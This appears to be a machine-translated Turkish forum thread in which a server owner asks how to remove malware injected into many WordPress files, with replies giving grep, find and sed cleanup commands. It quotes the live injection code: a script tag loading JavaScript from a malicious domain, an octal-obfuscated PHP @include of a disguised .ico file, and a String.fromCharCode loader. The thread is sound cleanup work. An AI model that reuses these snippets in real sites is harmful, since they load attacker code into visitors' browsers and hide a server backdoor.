Böylece tüm sunucum saldırıya uğradı veya kötü amaçlı yazılım sorunu yaşadı. sitem WordPress tabanlı ve sunucumda barındırılan sitelerin çoğu WordPress tabanlı. Bilgisayar korsanı bu kod satırını her bir dosyaya ve veritabanına ekledi
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Kullanarak grep ile arama yaptım
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Ben dosya yapısı boyunca yerine çalışıyorum sedve aşağıdaki komutu yazdım.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Ben index.phpişe yaradığını biliyorum, bu yüzden önce tek bir dosya üzerinde dize değiştirmeye çalışıyorum.
ve kodumun yanlış olduğunu biliyorum. Lütfen bana bu konuda yardım et.
@ Eran'ın kodunu denedim ve iyi ve beklendiği gibi tüm satırı sildi. Ancak, toplam jargon budur
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
Tüm içeriği silmek isterken php açılış etiketini saklamak istiyorum <?php.
@ Slybloty'nin çözümü kolay olsa da işe yaradı.
etkilenen tüm dosyalardan kodu tamamen kaldırmak için. Aşağıdaki 3 komutu çalıştırıyorum, bunun için hepinize teşekkürler.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"- Komut dosyası satırını kaldırmak içinfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'-@includeHattı kaldırmak içinfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'- Yorum satırını kaldırmak için
Ayrıca, '*.html'bilgisayar korsanının komut dosyası tüm dizinlerde istenmeyen index.html oluşturduğundan, 3 komutu da yeniden çalıştırdım . Bu index.html dosyasını silmenin doğru bir yaklaşım olup olmadığından emin değildim.
şimdi, hala önemsiz dosyaları ve izlerini bulmam gerekiyor.
Hacker betiği JS kodunu da ekledi.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Ben de yapabilir miyim görmeye sedçalışıyorum.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"-l
sed -i. Örneğin, düzenlenen tüm dosyalar için sed -i.bakbir *.bakdosya oluşturur . while...grepDöngü ile birlikte kullanıldığında , yalnızca bu dizeyi içeren dosyaları yedeklersiniz. Tüm ek yorumlar için özür dilerim, ama bence kötü amaçlı yazılım "tüm eller üzerinde" senaryosu.